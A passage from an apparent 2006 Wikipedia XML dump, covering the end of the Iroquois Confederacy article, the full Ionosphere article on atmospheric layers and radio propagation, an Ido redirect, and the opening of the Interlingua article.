According to [[Francis Parkman]], the Iroquois were at the height of their power in the 17th century with a population of around 12,000 people. League traditions allowed for the dead to be symbolically replaced through the &quot;Mourning War&quot;, raids intended to seize captives and take vengeance on non-members. This tradition was common to native people of the northeast and was quite different from European settlers' notions of combat.

=== The 18th Century === 

In [[1720]], the [[Tuscarora#Subsequent History|Tuscarora fled north]] from the European colonization of [[North Carolina#History|North Carolina]] and petitioned to become the Sixth Nation. This is a non-voting position, but places them under the protection of the Confederacy.

During the [[French and Indian War]], the Iroquois sided with the British against the French and their Algonquin allies, both traditional enemies of the Iroquois. The Iroquois hoped that aiding the British would also bring favors after the war. Practically, few Iroquois joined the fighting and at the [[Battle of Lake George]] found a group of Mohawk and French ambush a Mohawk-led British column. The British government issued the [[Royal Proclamation of 1763]] after the war, which restricted white settlement beyond the Appalachians, but this was mainly ignored by the settlers and local governments. 

During the [[American Revolution]], the many Tuscarora and Onondaga sided with the Americans, while the Mohawk, Seneca, and Cayuga remained loyal to Great Britain.  This marked the first major split among the Six Nations.  After a series of successful operations against frontier settlements, led by the Mohawk leader [[Joseph Brant]] and his [[United Kingdom|British]] allies, the [[United States]] reacted with vengeance. In [[1779]], [[George Washington]] ordered Col. [[Daniel Brodhead]] and General [[John Sullivan]] to lead expeditions against the Iroquois nations to &quot;not merely overun, but destroy,&quot; the British-Indian alliance.  The campaign successfully ended the ability of the British and Iroquois to mount any further significant attacks on American settlements.

In [[1794]], the Confederacy entered into the [[Treaty of Canandaigua]] with the United States.  After the American Revolutionary War, Captain [[Joseph Brant]] and the Six Nations Indians left [[New York]] to settle in Canada. As a reward for their loyalty to the English Crown, they were given a large land grant on the Grand River. The original Mohawk settlement was on the south edge of the present-day city at a location favourable for landing canoes.  Brant's crossing of the river gave the original name to the area: Brant's ford. By 1847, European settlers began to settle further up the river at a ford in the [[Grand River (Ontario)|Grand River]] and named the village [[Brantford, Ontario]].

==Beliefs==
These tribes, mostly members of the Iroquois nation, lived in the Northeastern territories of the U.S. and [[Canada]], from the [[St. Lawrence River]] down to the [[Delaware Bay]] and inland to the [[Great Lakes]]. Their close contact with Europeans makes investigation of their original mythology and religion extremely difficult, but core beliefs included a conception of life as a struggle between the forces of good and evil. The &quot;All-Father,&quot; an all-embracing deity, was formless and had little contact with humans. Spirits animated all of nature and controlled the changing of the season. Key festivals coincided with the major events of the agricultural calendar.

[[Seventh Generation]] is a precept of the Great Law of the Haudenosaunee (Six Nations Iroquois Confederacy), which requires that chiefs consider the impact of their decisions on the seventh generation.

In [[1799]], Iroquois prophet [[Handsome Lake]], half-brother of Cornplanter, received a vision and introduced the [[Longhouse religion]] to the Seneca.  Handsome Lake's religion fused elements of [[Christianity]], especially [[Quakerism]], with traditional Iroquois beliefs including seasonal festivals.  About 5,000 people continue to follow the Longhouse religion today.[http://www.religion-encyclopedia.com/H/handsome_lake_religion.htm]

== The Haudenosaunee ==
The combined leadership of the Nations is known as the ''Haudenosaunee''.  It should be noted that &quot;Haudenosaunee&quot; is the term that the people use to refer to themselves.  The word &quot;Iroquois&quot; is reputed to come from a French version of a [[Huron]] (Wendat) name&amp;mdash;considered an insult&amp;mdash;meaning &quot;Black Snakes.&quot; The Iroquois were enemies of the Huron and the [[Algonquin]], who were allied with the French, due to their rivalry in the fur trade.  Haudenosaunee means &quot;People Building a [[Native American long house|Long House]].&quot;  The term is said to have been introduced by [[The Great Peacemaker]] at the time of the formation of the Confederacy.  It implies that the Nations of the confederacy should live together as families in the same longhouse.  Symbolically, the Seneca were the guardians of the western door of the &quot;tribal long house,&quot; and the Mohawk were the guardians of the eastern door. 

There exists another, perhaps more compelling, version explaining the origin of the word &quot;Iroquois,&quot; as the French combination of two distinct terms used in the language of the Haudenosaunee.  The participants and writers developing the nascent US government compared the Haudenosaunee and their ways to a state of achievement in administrative self-governance that Rome itself never reached, and an ideal that they hoped the US would aspire to and achieve. 

The Iroquois nations' political union and [[democracy|democratic]] [[government]] has been credited [http://www.ratical.org/many_worlds/6Nations/index.html by some] as one of the influences on the [[United States Constitution]]. However, that theory has fallen into disfavor among many historians, and is regarded by some as mythology. Historian [http://hnn.us/articles/12974.html Jack Rakove] writes: &quot;The voluminous records we have for the constitutional debates of the late 1780s contain no significant references to the Iroquois.&quot;

==Member Nations==
{| border=&quot;1&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; align=&quot;center&quot;
|+
|&lt;center&gt;'''English Name'''
|&lt;center&gt;'''Iroquoian Name'''
|&lt;center&gt;'''Meaning'''
|&lt;center&gt;'''Primarily 17th and 18th Century Location'''
|-
|[[Seneca tribe|Seneca]] (1)
|''Onondowahgah''
|''People of the Great Hill''
|[[Seneca Lake]] and [[Genesee River]]
|-
|[[Cayuga tribe|Cayuga]] (1)
|''Guyohkohnyoh''
|''People of the Great Swamp''
|[[Cayuga Lake]]
|-
|[[Onondaga (tribe)|Onondaga]] (1)
|''Onundagaono''
|''People of the Hills''
|[[Onondaga Lake]]
|-
|[[Oneida tribe|Oneida]] (1)
|''Onayotekaono''
|''People of the Upright Stone''
|[[Oneida Lake]]
|-
|[[Mohawk nation|Mohawk]] (1)
|''Kanien'kéhaka''
|''People of the Flint''
|[[Mohawk River]]
|-
|[[Tuscarora]] (2)
|''Ska-Ruh-Reh''
|''Shirt-Wearing People''
|From [[North Carolina]], settled between Oneidas and Onondagas
|}
:::'''Note 1:''' Member of Original [[Five Nations]] (listed from west to east)
:::'''Note 2:''' Sixth Nation (Joined in 1720)
&lt;center&gt;
{|
|[[Image:Iroquois 5 Nation Map c1650.png|320px|Iroquois Five Nations c.1650]]
|[[Image:Iroquois 6 Nations map c1720.png|320px|Iroquois Six Nations c.1720]]
|}
&lt;/center&gt;

==Iroquois Clans==
Within each of the six nations, people are divided into a number of [[matrilineal]] [[clan|clans]].  The number of clans varies by nation, currently from three to seven, with a total of nine different clan names.

&lt;center&gt;
{| border=&quot;1&quot; cellpadding=&quot;1&quot; cellspacing=&quot;0&quot;
|+'''Current Iroquois Clans'''
|-

! width=&quot;70&quot;|Onondaga
! width=&quot;70&quot;|Tuscarora
! width=&quot;70&quot;|Oneida
! width=&quot;70&quot;|Mohawk
|-
| [[Wolf]]   || Wolf   || Wolf    || Wolf    || Wolf   || Wolf
|-
| [[Bear]]   || Bear   || Bear    || Bear    || Bear   || Bear 
|-
| [[Turtle]] || Turtle || Turtle  || Turtle  || Turtle || Turtle
|-
| [[Snipe]]  || Snipe  || &amp;mdash; || Snipe   || &amp;mdash;|| &amp;mdash;
|-
| [[Deer]]   || &amp;mdash;|| Deer    || Deer    || &amp;mdash;|| &amp;mdash;
|-
| [[Beaver]] || &amp;mdash;|| Beaver  || Beaver  || &amp;mdash;|| &amp;mdash;
|-
| [[Heron]]  || Heron  || &amp;mdash; || &amp;mdash; || &amp;mdash;|| &amp;mdash;
|-
| [[Hawk]]   || &amp;mdash;|| Hawk    || &amp;mdash; || &amp;mdash;|| &amp;mdash;
|-
| &amp;mdash;    || &amp;mdash;|| [[Eel]] || Eel     || &amp;mdash;|| &amp;mdash;
|}&lt;/center&gt;

== Government ==
The Iroquois have a representative government known as the Grand Council.   Each tribe sends chiefs to act as respresentatives and make decisions for the whole nation. The number of chiefs has never changed.
* Onondaga 14
* Cayuga 10
* Oneida 9
* Mohawk 9
* Seneca 8

==References==
* &quot;The Ordeal of the Longhouse&quot;, by Daniel K. Richter
* For a detailed account of Iroquois actions during the American Revolution, see: Williams, Glenn F. ''Year of the Hangman: George Washington's Campaign Against the Iroquois'' Yardley: Westholme Publishing, 2005.
*[http://sixnations.buffnet.net/Culture/?article=who_we_are  Who Are the Haudenosaunee?]
*[http://www.ratical.org/many_worlds/6Nations/ Oldest Living Participatory Democracy]
*[http://www.iroquoismuseum.org Iroquois Indian Museum, Howes Cave, NY]

== See also ==
*[[Joseph Brant]]
*[[Red Jacket]]
*[[Sir William Johnson]]
*[[Smoke Johnson]]
*[[Cornplanter]]
*[[Ely S. Parker]]
*[[Sullivan Expedition]]
*[[History of New York]]
*[[Economy of the Iroquois]]
*[[Iroquoian languages]]
*[[Iroquois mythology]]
*[[Six Nations of the Grand River]]
*[[Covenant Chain]] 
*[[Ganondagan State Historic Site]]
*[[False Face Society]]
*[[Mohawk Chapel]]
*[[David Cusick]]

== External links ==
*[http://www.sixnations.org/ Haudenosaunee Home Page] : the official source of news and information from the Haudenosaunee.
*[http://sixnations.buffnet.net/Great_Law_of_Peace/ Gayanashagowa]
*[http://www.upstate-citizens.org/Iroquois-origin.htm History and origin of the Five Nations]
*[http://ah.bfn.org/h/iroq/iroqlinks.html Long list of Iroquois links]
*[http://www.sullivanclinton.com The Sullivan-Clinton Campaign Hits Iroquoia, 1779]
*[http://digitalcommons.unl.edu/libraryscience/24/ David Cusick’s Sketches of Ancient History of the Six Nations (1828)]
*[http://www.iroquois.net/ Iroquois Home Page]

[[Category:First Nations in Ontario]]
[[Category:First Nations in Quebec]]
[[Category:Iroquois]]
[[Category:Historical legislatures]]
[[ca:Confederació Iroquesa]]
[[da:Irokeserføderationen]]
[[de:Irokesen]]
[[eo:Haudenosaunee]]
[[fr:Iroquois]]
[[ja:イロコイ連邦]]
[[nl:Iroquois (volk)]]
[[pl:Irokezi]]
[[pt:Iroqueses]]
[[ru:Ирокезы]]
[[sl:Irokezi]]
[[sv:Irokes]]</text>
    </revision>
  </page>
  <page>
    <title>Ionosphere</title>
    <id>15097</id>
    <revision>
      <id>40409700</id>
      <timestamp>2006-02-20T09:35:09Z</timestamp>
      <contributor>
        <username>QEDquid</username>
        <id>525074</id>
      </contributor>
      <minor />
      <comment>/* Scientific research on Ionspheric propagation */ +link</comment>
      <text xml:space="preserve">The '''ionosphere''' is the part of the [[Earth's atmosphere|atmosphere]] that is ionized by solar radiation. It forms the inner edge of the [[magnetosphere]] and has practical importance because it influences [[high-frequency]] (HF) (3–30 [[Megahertz|MHz]]) [[radio propagation]] to distant places on the Earth.

==Geophysics==
The lowest part of the [[Earth's atmosphere]] is called the [[troposphere]] and it extends from the surface up to about 10 [[Kilometre|km]] (6 miles). The atmosphere above 10 km is called the [[stratosphere]], followed by the [[mesosphere]]. It is in the stratosphere that incoming solar radiation creates the [[ozone layer]]. At heights of above 80 km (50 miles), in the [[thermosphere]], the atmosphere is so thin that free [[electrons]] can exist for short periods of time before they are captured by a nearby positive [[ion]]. The number of these free electrons is sufficient to affect [[radio propagation]]. This portion of the atmosphere is ''ionized'' and contains a [[Plasma physics|plasma]] which is referred to as the ionosphere. In a plasma, the negative free electrons and the positive ions are attracted to each other by the electromagnetic force, but they are too energetic to stay fixed together in an electrically neutral molecule.

&lt;br style=&quot;clear:both&quot; /&gt;
[[Image:atmosphere.gif|frame|left|Relationship of the atmosphere and ionosphere]]
&lt;br style=&quot;clear:both&quot; /&gt;

[[Solar radiation]] at [[ultraviolet]] (UV) and shorter [[X-Ray]] [[wavelength]]s is considered to be ''ionizing'' since [[photon]]s at these frequencies are capable of dislodging an [[electron]] from a neutral gas [[atom]] or [[molecule]] during a collision.  At the same time, however, an opposing process called [[recombination]] begins to take place in which a free electron is &quot;captured&quot; by a positive ion if it moves close enough to it. As the gas density increases at lower altitudes, the recombination process accelerates since the gas molecules and ions are closer together. The point of balance between these two processes determines the degree of ionization present at any given time.  

The ionization depends primarily on the [[Sun]] and its [[solar variation|activity]]. The amount of ionization in the ionosphere varies greatly with the amount of radiation received from the sun.  Thus there is a [[diel|diurnal]] (time of day) effect and a seasonal effect. The local winter [[Earth|hemisphere]] is tipped away from the Sun, thus there is less received solar radiation. The activity of the sun is associated with the [[sunspot cycle]], with more radiation occurring with more sunspots.  Radiation received also varies with geographical location (polar, auroral zones, mid-latitudes, and equatorial regions).   There are also mechanisms that disturb the ionosphere and decrease the ionization.  There are disturbances such as [[solar flare]]s and the associated release of charged particles into the [[solar wind]] which reaches the Earth and interacts with its [[geomagnetic]] field.

==The Ionospheric Layers==

Solar radiation, acting on the different compositions of the atmosphere with height, generates layers of ionization: 

===D Layer===
The [[D region|D layer]] is the innermost layer, 50 km to 90 km above the surface of the Earth.  Ionization here is due to [[Lyman series]]-alpha hydrogen radiation at a [[wavelength]] of 121.5 [[nanometre]] (nm) ionizing [[nitric oxide]] (NO).  In addition, when the sun is active with 50 or more sunspots,  hard [[X-ray]]s (wavelength &lt; 1 nm) ionize the air (N&lt;sub&gt;2&lt;/sub&gt;, O&lt;sub&gt;2&lt;/sub&gt;). During the night [[cosmic rays]] produce a residual amount of ionization.  Recombination is high in this layer, thus the net ionization effect is very low and as a result high-frequency (HF) [[radio wave]]s aren't reflected by the D layer.  The frequency of collision between electrons and other particles in this region during the day is about 10 million collisions per second.  The D layer is mainly responsible for absorption of HF radio waves, particularly at 10 MHz and below, with progressively smaller absorption as the frequency gets higher. The absorption is small at night and greatest about midday. The layer reduces greatly after sunset, but remains due to [[galactic cosmic ray]]s.  A common example of the D layer in action is the disappearance of distant AM [[broadcast band]] stations in the daytime.

===E Layer===
The [[Kennelly-Heaviside Layer|E layer]] is the middle layer, 90km to 120km above the surface of the Earth. Ionization is due to soft X-ray (1-10 nm) and far ultraviolet (UV) solar radiation ionization of molecular [[oxygen]] (O&lt;sub&gt;2&lt;/sub&gt;). This layer can only reflect radio waves having frequencies less than about 10 MHz. It has a negative effect on frequencies above 10 MHz due to its partial absorption of these waves. The vertical structure of the E layer is primarily determined by the competing effects of ionization and recombination.  At night the E layer begins to disappear because the primary source of ionization is no longer present.  This results in an increase in the height where the layer maximizes because recombination is faster in the lower layers.  Diurnal changes in the high altitude neutral winds also plays a role.  The increase in the height of the E layer maximum increases the range to which radio waves can travel by reflection from the layer.

===E&lt;sub&gt;S&lt;/sub&gt;===
The E&lt;sub&gt;s&lt;/sub&gt; layer or sporadic E-layer.  [[Sporadic E propagation]] is characterized by small clouds of intense ionization, which can support radio wave reflections from 25 – 225 MHz.  Sporadic-E events may last for just a few minutes to several hours. There are multiple causes of sporadic-E that are still being pursued by researchers. This propagation occurs most frequently during the summer months with major occurrences during the summer, and minor occurrences during the winter. During the summer, this mode is popular due to its high signal levels. The skip distances are generally around 1000km (620 miles).

===F Layer===
The [[F region|F layer]] or region, also known as the Appleton layer, is 120km to 400km above the surface of the Earth. Here extreme ultraviolet (UV) (10-100 nm) solar radiation ionizes atomic [[oxygen]] (O). The F region is the most important part of the ionosphere in terms of HF communications. The F layer combines into one layer at night, and in the presence of sunlight (during daytime), it divides into two layers, the F&lt;sub&gt;1&lt;/sub&gt; and F&lt;sub&gt;2&lt;/sub&gt;. The F layers are responsible for most [[skywave]] propagation of [[radio]] waves, and are thickest and most reflective of radio on the side of the Earth facing the sun.

==Anomalies to the Ideal Model==
The statements above assumed that each layer was smooth and uniform.  In reality the ionosphere is a lumpy, cloudy layer with irregular patches of ionization.  

===Winter Anomaly===
At mid-latitudes, the F&lt;sub&gt;2&lt;/sub&gt; layer daytime ion production is higher in the summer, as expected, since the sun shines more directly on the earth. However, there are seasonal changes in the molecular-to-atomic ratio of the neutral atmosphere that cause the summer ion loss rate to be even higher. The result is that the increase in the summertime loss overwhelms the increase in summertime production, and total F&lt;sub&gt;2&lt;/sub&gt; ionization is actually lower, not higher, in the local summer months. This effect is known as the winter anomaly. The anomaly is always present in the northern hemisphere, but is usually absent in the southern hemisphere during periods of low solar activity.

===Equatorial Anomaly===

&lt;br style=&quot;clear:both&quot; /&gt;
[[Image:Diurnal ionospheric current.jpg|frame|left|Electric currents created in sunward ionosphere.]]
&lt;br style=&quot;clear:both&quot; /&gt;
Within approximately ± 20 degrees of the ''magnetic equator'', is the '''[[Equator]]ial Anomaly'''. It is the occurrence of a trough of concentrated ionization in the F&lt;sub&gt;2&lt;/sub&gt; layer.  The Earth's [[magnetic field]] lines are horizontal at the equator. Solar heating and [[tidal]] oscillations in the lower ionosphere move plasma up and across the magnetic field lines.  This sets up a sheet of electric current in the E region which, with the [[horizontal]] magnetic field, forces ionization up into the F layer, concentrating at ± 20 degrees from the magnetic equator.  This phenomenon is known as the ''equatorial fountain''.

==Ionospheric Perturbations==

===X-rays: Sudden Ionospheric Disturbances (SID)===
When the sun is active, strong [[solar flare]]s can occur that will hit the Earth with hard X-rays on the sunlit side of the Earth.  They will penetrate to the D-region, release electrons which will rapidly increase absorption causing a High Frequency (3-30 MHz) radio blackout. During this time Very Low Frequency (3 - 30 kHz) signals will become reflected by the D layer instead of the E layer, avoiding the signal loss through the D layer. As soon as the X-rays end, the sudden ionospheric disturbance (SID) or radio black-out ends as the electrons in the D-region recombine rapidly and signal strengths return to normal.

===Protons: Polar Cap Absorption (PCA)===
Associated with solar flares is a release of high-energy protons.  These particles can hit the earth within 15 minutes to 2 hours of the solar flare.  The protons spiral around and down the magnetic field lines of the Earth and penetrate into the atmosphere near the magnetic poles increasing the ionization of the D and E layers. PCA's typically last anywhere from about an hour to several days, with an average of around 24 to 36 hours.

===Geomagnetic Storms===
A [[geomagnetic storm]] is a temporary intense disturbance of the Earth's [[magnetosphere]].
* During a geomagnetic storm the F&lt;sub&gt;2&lt;/sub&gt; layer will become unstable, fragment, and may even disappear completely.
* In the Northern and Southern pole regions of the Earth [[polar aurora|aurora]] will be observable in the sky.

==Radio Application== 
[[DX communication]], popular among [[amateur radio]] enthusiasts, is a term given to communication over great distances.  When using High-Frequency bands, the ionosphere is utilized to reflect the transmitted radio beam. The beam returns to the Earth's surface, and may then be reflected back into the ionosphere for a second bounce.

[[Radio]] waves &quot;[[Hop (telecommunications)|hop]]&quot; from the Earth to the ionosphere and back to the Earth. When a radio wave reaches the ionosphere, the [[electric field]] in the wave forces the electrons in the ionosphere into [[oscillation]] at the same frequency as the radio wave.  Some of the radio wave energy is given up to this mechanical oscillation. The oscillating electron will then either be lost to recombination or will re-radiate the original wave energy back downward again. Total reflection can occur when the collision frequency of the ionosphere is less than the radio frequency, and if the electron density in the ionosphere is great enough.

The [[critical frequency]] is the limiting frequency at or below which a radio wave is reflected by an ionospheric layer at vertical [[angle of incidence|incidence]]. If the transmitted frequency is higher than the plasma frequency of the ionosphere, then the electrons cannot respond fast enough, and they are not able to re-radiate the signal. It is calculated as shown below:

: &lt;math&gt;f{critical} = 9 \times 10^{-3} \sqrt{N}&lt;/math&gt;

where N = electron density per cm&lt;sup&gt;3&lt;/sup&gt; and f&lt;sub&gt;critical&lt;/sub&gt; is in MHz.

The Maximum Usable Frequency (MUF) is defined as the upper frequency limit that can be used for transmission between two points at a specified time.

: &lt;math&gt;f{muf} = \frac{f{critical}}{ \sin{(I)}} &lt;/math&gt;

where I = [[angle of attack]], the angle of the wave relative to the [[horizon]], and sin is the [[sine]] function.

The [[cutoff frequency]] is the frequency below which a radio wave fails to penetrate a layer of the ionosphere at the incidence angle required for transmission between two specified points by reflection from the layer.

==Other Applications== 
The [[open system]] [[space tether]], which uses the ionosphere, is being researched. The space tether uses plasma contactors and the ionosphere as parts of a circuit to extract energy from the Earth's magnetic field by [[electromagnetic induction]].

==Measurements==

=== Ionograms ===
Ionograms show the virtual heights and '''critical frequencies''' of the ionospheric layers and which are measured by an ionosonde. An ionosonde sweeps a range of frequencies, usually from 0.1 to 30 MHz, transmitting at vertical incidence to the ionosphere. As the frequency increases, each wave is refracted less by the ionization in the layer, and so each penetrates further before it is reflected. Eventually, a frequency is reached that enables the wave to penetrate the layer without being reflected. For ordinary mode waves, this occurs when the transmitted frequency just exceeds the peak plasma, or critical, frequency of the layer. Tracings of the reflected high frequency radio pulses are known as ionograms.  

=== Solar Flux ===
Solar Flux is a measurement of the intensity of solar radio emissions at a frequency of 2800 MHz made using a [[radio telescope]] located in [[Ottawa]], Canada. Known also as the 10.7 cm flux (the wavelength of the radio signals at 2800 MHz), this solar radio emission has been shown to be proportional to sunspot activity. However, the level of the sun's ultraviolet and X-ray emissions is primarily responsible for causing ionization in the earth's upper atmosphere. We now have data from the [[GOES]] spacecraft that measures the background '''X-Ray flux''' from the sun, a parameter more closely related to the ionization levels in the ionosphere.
* The ''A and K indices'' are a measurement of the behavior of the horizontal component of the '''geomagnetic field'''. The K index uses a scale from 0 to 9 to measure the change in the horizontal component of the geomagnetic field. A new K index is determined at the [[Table Mountain]] Observatory, north of [[Boulder, Colorado]]. 
* The geomagnetic activity levels of the earth are measured by the fluctuation of the Earth's magnetic field in a unit called [[Gauss]]. The earth's magnetic field is measured around the planet by many observatories.  The data retrieved is processed and turned into measurement indices. Daily measurements for the entire planet are made available through an estimate of the ''ap'' index, called the ''planetary A-index'' (PAI).

=== Scientific research on Ionspheric propagation ===
Scientists also are exploring the structure of the ionosphere by a wide variety of methods, including passive observations of optical and radio emissions generated in the ionosphere, bouncing radio waves of different frequencies from it, incoherent scatter radars such as the EISCAT, Sondre Stromfjord, Millstone Hill, Arecibo, and Jicamarca radars, coherent scatter radars such as the [[Super Dual Auroral Radar Network|Super Dual Auroral Radar Network (SuperDARN)]] radars, and using special receivers to detect how the reflected waves have changed from the transmitted waves. 

A veriety of experiments, such as Project HAARP ([[High Frequency Active Auroral Research Program]]), involve high power radio transmitters to modify the properties of the ionosphere.  These investigations focus on studying the properties and behavior of ionospheric plasma, with particular emphasis on being able to understand and use it to enhance communications and surveillance systems for both civilian and defense purposes. HAARP was started in 1993 for a proposed twenty year experiment. 

The SuperDARN radar project researches the high- and mid-latitudes using coherent backscatter of radio waves in the 8 - 20 MHzrange.  Coherent backscatter is similar to Bragg scattering in crystals and involves the constructive interference of scattering from ionospheric density irregularities.  The project involves more than 11 different countries and multiple radars in both hemispheres.

Scientists are also examining the ionosphere by the changes to radio waves from satellites and stars passing through it. The [[Arecibo radio telescope]] located in [[Puerto Rico]], was originally intended to study Earth's ionosphere.

==History==
In [[1899]], [[Nikola Tesla]] researched ways to utilize the ionosphere to [[wireless energy transfer|transmit energy wirelessly]] over long distances. In his experiments, he transmitted extremely low frequencies between the earth and ionosphere, up to what is called the [[Kennelly-Heaviside Layer]] (Grotz, 1997). Tesla made mathematical calculations and computations based on his experiments. He predicted the resonant frequency of this area within 15% of modern accepted experimental value. (Corum, 1986) In the [[1950s]], researchers confirmed the resonant frequency was at the low range 6.8 Hz. 

[[Guglielmo Marconi]] received the first trans-Atlantic radio signal on [[December 12]], [[1901]], in [[St. John's, Newfoundland]] (now in [[Canada]]) using a 400-foot kite-supported antenna for reception. The transmitting station in [[Poldhu]], Cornwall used a spark-gap transmitter to produce a signal with a frequency of approximately 500 [[Kilohertz|kHz]] and a power of 100 times more than any radio signal previously produced. The message received was three dots, the [[Morse code]] for the letter '''S'''. To reach Newfoundland the signal would have to bounce off the ionosphere twice. Dr. Jack Belrose has recently contested this, however, based on theoretical work as well as an actual experiments.  However, Marconi did achieve transatlantic wireless communications beyond a shadow of doubt in Glace Bay one year later.

In [[1902]], [[Oliver Heaviside]] proposed the existence of the ''Kennelly-Heaviside Layer'' of the ionosphere which bears his name. Heaviside's proposal included means by which radio signals are transmitted around the Earth's curvature. Heaviside's proposal, coupled with Planck's law of black body radiation, may have hampered the growth of radio astronomy for the detection of electromagnetic waves from celestial bodies until [[1932]] (and the development of high frequency radio transceivers). Also in [[1902]], [[Arthur Edwin Kennelly]] discovered some of the ionosphere's radio-electrical properties. 

In [[1912]], the [[U.S. Congress]] imposed the [[Radio Act of 1912]] on amateur radio operators, limiting their operations to frequencies above 1.5 MHz (wavelength 200 meters or smaller).  The government thought those frequencies were useless.  This led to the discovery of HF radio propagation via the ionosphere in [[1923]].

[[Edward V. Appleton]] was awarded in [[1947]] a [[Nobel Prize]] for his confirmation of the existence of the ionosphere in [[1927]]. [[Lloyd Berkner]] first measured the height and density of the ionosphere. This permitted the first complete theory of short wave radio propagation. [[Maurice V. Wilkes]] and [[J. A. Ratcliffe]] researched the topic of radio propagation of very long radio waves in the ionosphere. [[Vitaly Ginzburg]] has developed a theory of electromagnetic wave propagation in plasmas such as the ionosphere.

In [[1962]] the [[Canada|Canadian]] satellite [[Alouette 1]] was launched to study the ionosphere. Following its success were [[Alouette 2]] in [[1965]] and the two [[ISIS (satellite)|ISIS]] satellites in [[1969]] and [[1971]], all for measuring the ionosphere.

==References==
* Corum, J. F., and Corum, K. L., &quot;''A Physical Interpertation of the Colorado Springs Data''&quot;. Proceedings of the Second International Tesla Symposium. Colorado Springs, Colorado, 1986.
* Grotz, Toby, &quot;''The True Meaing of Wireless Transmission of power''&quot;. Tesla : A Journal of Modern Science, 1997.
* Hargreaves, J. K., &quot;''The Upper Atmosphere and Solar-Terrestrial Relations''&quot;. Cambridge University Press, 1992,
* Kelley, M. C, and Heelis, R. A., &quot;''The Earth's Ionosphere: Plasma Physics and Electrodynamics''&quot;. Academic Press, 1989.
* Leo F. McNamara. (1994) ISBN 0-89464-807-7 ''Radio Amateurs Guide to the Ionosphere''.
* Davies, K., 1990. Peter Peregrinus Ltd, London. ISBN 0-86341-186-X ''Ionospheric Radio''.

==See also==
* '''[[Geophysics]]'''
** [[Van Allen radiation belt]]
* '''[[Radio]]'''
** [[Fade (radio)]]
** [[Line-of-sight propagation]]
** [[List of telecommunications transmission terms]]
* '''Related'''
** [[Tether propulsion]]
** [[Pioneer Venus project]]
** [[Nozomi]]
** ''[[New Horizons]]''
** [[Nuclear explosion]]
** [[Nuclear weapon]]
** [[Soft gamma repeater]]
** [[TIMED (Thermosphere Ionosphere Mesosphere Energetics and Dynamics)]]
** [[International Geophysical Year]]
** [[Lightning#Sprites, Elves, Jets and other Upper Atmospheric Lightning|Upper Atmospheric Lightning]]
* '''Lists'''
** [[List of astronomical topics]]
** [[List of electronics topics]]

==External links==

* Gehred, Paul, and Norm Cohen, ''[http://www.sec.noaa.gov/radio/radio.html SEC's Radio User's Page]''. 

*[http://geomag.usgs.gov USGS Geomagnetism Program]
*[http://www.sec.noaa.gov/SWN/ Current Space Weather Conditions]
*[http://www.sec.noaa.gov/rt_plots/xray_1m.html Current Solar X-Ray Flux]
*[http://superdarn.jhuapl.edu/ Super Dual Auroral Radar Network]
*[http://www.eiscat.se/ European Inchorent Scatter radar system]
*[http://www.haystack.mit.edu/mhrobs/introduction.html Millstone Hill radar]

{{earthsatmosphere}}
[[Category:Radio frequency propagation]]
[[Category:Nikola Tesla]]
[[Category:Atmosphere]]
[[Category:Space plasmas]]
[[Category:Plasma physics]]

[[bg:Йоносфера]]
[[cs:Ionosféra]]
[[de:Ionosphäre]]
[[es:Ionosfera]]
[[fr:Ionosphère]]
[[ko:전리층]]
[[nl:Ionosfeer]]
[[ja:電離層]]
[[pl:Jonosfera]]
[[pt:Ionosfera]]
[[sk:Ionosféra]]
[[sv:Jonosfär]]
[[uk:Іоносфера]]</text>
    </revision>
  </page>
  <page>
    <title>Ido language</title>
    <id>15099</id>
    <revision>
      <id>15912606</id>
      <timestamp>2004-12-27T09:29:10Z</timestamp>
      <contributor>
        <username>Naive cynic</username>
        <id>84472</id>
      </contributor>
      <comment>Ido language moved to Ido</comment>
      <text xml:space="preserve">#redirect [[Ido]]
</text>
    </revision>
  </page>
  <page>
    <title>Interlingua</title>
    <id>15100</id>
    <revision>
      <id>41681460</id>
      <timestamp>2006-03-01T00:56:27Z</timestamp>
      <contributor>
        <ip>69.248.65.105</ip>
      </contributor>
      <comment>/* [[International Auxiliary Language Association]] */</comment>
      <text xml:space="preserve">{{dablink|This article describes the [[international auxiliary language]] created by the International Auxiliary Language Association. For the earlier Interlingua created by [[Giuseppe Peano]], see [[Latino Sine Flexione]]. For other usages of the term interlingua, see [[Interlingua (disambiguation)]].}}
{{Infobox Language
|name=Interlingua
|creator=[[International Auxiliary Language Association]] ([[1951]])
|setting=[[international auxiliary language]], most popular in [[Scandinavia]] and [[North America]]
|speakers=First language: none known&lt;br&gt;Second language: about 1500
|fam2=[[international auxiliary language]]
|posteriori=[[Romance languages|Romance]] and [[Neolatin]]–based
|agency=no regulating body
|iso1=ia|iso2=ina|iso3=ina}}

The [[constructed language]] '''Interlingua''' is an [[international auxiliary language]] (IAL) published in [[1951]] by the [[International Auxiliary Language Association]] (IALA). In appearance, Interlingua combines a Latin-Romance vocabulary with a simplified Romance grammar, and thus it is often referred to as a modernized and simplified [[Latin]]. It is sometimes called ''IALA Interlingua'' to distinguish it from the other uses of ''interlingua''.

== Rationale ==

The expansive movements of science, technology, trade, diplomacy, and the arts, combined with the historical dominance of the Greek and Latin languages, have resulted in a large common vocabulary among Western languages. Interlingua uses an [[algorithm]] to extract and standarize the most widespread word (or, occasionally, words) for a concept found in a set of ''control languages'' (English, French, Italian, and Spanish/Portuguese, with German and Russian as secondary references). The resulting vocabulary corresponds closely with the [[Neolatin]] element in the [[International Scientific Vocabulary]].

Interlingua combines this pre-existing vocabulary with a minimalist grammar based on the control languages. People with a good knowledge of a Romance language, or a smattering of a Romance language plus a good knowledge of the international scientific vocabulary can frequently read it at first sight. Because at-sight comprehensibility was a design criterion, Interlingua retains the traditional spelling and morphology of its Latinate source material. It is for this reason that Interlingua is frequently termed a ''naturalistic'' IAL (as opposed ''schematic'' IALs such as [[Esperanto]] and [[Ido]], which are less closely tied to their source languages).

== History ==

=== [[International Auxiliary Language Association]] ===
